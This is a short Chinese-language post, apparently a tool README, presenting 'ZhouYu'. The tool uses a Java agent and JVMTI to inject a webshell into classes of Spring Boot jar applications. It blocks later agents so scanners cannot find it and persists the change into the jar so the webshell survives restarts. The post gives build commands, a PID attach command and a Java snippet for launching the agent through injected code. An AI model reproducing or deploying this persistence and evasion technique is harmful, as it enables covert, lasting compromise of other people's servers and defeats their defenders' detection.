共计 918 个字符,预计需要花费 3 分钟才能阅读完成。
后 Spring 时代,SpringBoot jar 部署模式下,一般没有了 JSP,所有的模板都在 jar 内,当大家都热衷于内存马的时候,发现很容易被查杀(网上查杀方式无外乎都是利用 JVMTI 重加载 class 的 javaagent 方式),并且重启后丢失!
- ZhouYu 带来新的 webshell 写入手法,通过 javaagent,利用 JVMTI 机制,在回调时重写 class 类,插入 webshell,并通过阻止后续 javaagent 加载的方式,防止 webshell 被查杀
- 修改的 class 类插入 webshell 后,通过持久化到 jar 进行 class 替换,达到 webshell 持久化,任你如何重启都无法甩掉
一、打包编译
命令:
gradle :agent:shadowJar
或
./gradlew :agent:shadowJar
编译后得到 agent/build/libs/agent-xxx.jar,即 ZhouYu.jar
二、使用方式
两种场景:
- 当你知道 jvm pid 时,并且能写入临时文件(ZhouYu.jar),一般这种场景不太常见,测试场景比较多
java -jar ZhouYu.jar 23232,23232 为需要 attach 的 jvm 进程号!
- 能执行一小段代码(内存 shell 的原理一般是反序列化时加载一段恶意字节码)
先把编译后得到的 ZhouYu.jar 写到临时目录,例:/tmp/ZhouYu.jar
接着执行下面代码:
try {String pid = java.lang.management.ManagementFactory.getRuntimeMXBean().getName();
int indexOf = pid.indexOf('@');
if (indexOf> 0) {pid = pid.substring(0, indexOf);
Runtime.getRuntime().exec(String.format("java -jar /tmp/ZhouYu.jar %s", pid));
}
} catch (Throwable throwable) {
}
WARNNING
为了防止出现生产事故,在对原有 jar(A.jar)进行替换修改前,会对其进行备份,备份到当前目录下(命名为.A.jar.bk)
正文完